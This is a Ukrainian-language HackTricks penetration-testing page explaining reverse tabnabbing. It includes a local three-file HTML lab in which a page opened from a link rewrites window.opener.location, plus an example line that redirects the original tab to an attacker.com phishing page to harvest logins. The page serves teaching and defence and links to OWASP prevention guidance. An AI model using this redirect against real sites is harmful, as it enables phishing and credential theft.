hacktricks/pentesting-web/reverse-tab-nabbing.md

116 lines
8.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Опис
У ситуації, коли **зловмисник** може **контролювати** аргумент **`href`** тегу **`<a`** з атрибутом **`target="_blank" rel="opener"`**, на який натисне жертва, **зловмисник** **направляє** це **посилання** на веб-сайт під своїм контролем ( **шкідливий** **веб-сайт**). Потім, коли **жертва натискає** на посилання і переходить на веб-сайт зловмисника, цей **шкідливий** **веб-сайт** зможе **контролювати** **оригінальну** **сторінку** через об'єкт javascript **`window.opener`**.\
Якщо сторінка не має **`rel="opener"` але містить `target="_blank"` і також не має `rel="noopener"`**, вона також може бути вразливою.
Звичайний спосіб зловживання цією поведінкою полягає в тому, щоб **змінити місцезнаходження оригінального веб-сайту** через `window.opener.location = https://attacker.com/victim.html` на веб-сайт, контрольований зловмисником, який **схожий на оригінальний**, щоб він міг **імітувати** **форму входу** оригінального веб-сайту та запитувати у користувача облікові дані.
Однак зверніть увагу, що оскільки **зловмисник тепер може контролювати об'єкт вікна оригінального веб-сайту**, він може зловживати ним іншим чином для виконання **прихованих атак** (можливо, модифікуючи події javascript для витоку інформації на сервер, контрольований ним?)
# Огляд
## Зворотне посилання
Посилання між батьківськими та дочірніми сторінками, коли атрибут запобігання не використовується:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITH\_LINK.png)
## Без зворотного посилання
Посилання між батьківськими та дочірніми сторінками, коли атрибут запобігання використовується:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING\_OVERVIEW\_WITHOUT\_LINK.png)
## Приклади <a href="#examples" id="examples"></a>
Створіть наступні сторінки в папці та запустіть веб-сервер за допомогою `python3 -m http.server`\
Потім **перейдіть** за адресою `http://127.0.0.1:8000/`vulnerable.html, **натисніть** на посилання та зверніть увагу, як **URL** **оригінального** **веб-сайту** **змінюється**.
{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}
{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
{% endcode %}
{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}
## Доступні властивості <a href="#accessible-properties" id="accessible-properties"></a>
У сценарії, коли відбувається **крос-доменний** доступ (доступ через різні домени), властивості екземпляра класу **window** JavaScript, на який посилається об'єкт **opener** JavaScript, доступні для зловмисного сайту обмежені наступними:
- **`opener.closed`**: Ця властивість використовується для визначення, чи було закрито вікно, повертаючи булеве значення.
- **`opener.frames`**: Ця властивість надає доступ до всіх елементів iframe у поточному вікні.
- **`opener.length`**: Кількість елементів iframe, присутніх у поточному вікні, повертається цією властивістю.
- **`opener.opener`**: Посилання на вікно, яке відкрило поточне вікно, можна отримати через цю властивість.
- **`opener.parent`**: Ця властивість повертає батьківське вікно поточного вікна.
- **`opener.self`**: Доступ до самого поточного вікна надається цією властивістю.
- **`opener.top`**: Ця властивість повертає найвищу вікно браузера.
Однак у випадках, коли домени ідентичні, зловмисний сайт отримує доступ до всіх властивостей, які надає [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript об'єкт.
# Запобігання
Інформація про запобігання задокументована в [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
## Посилання
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}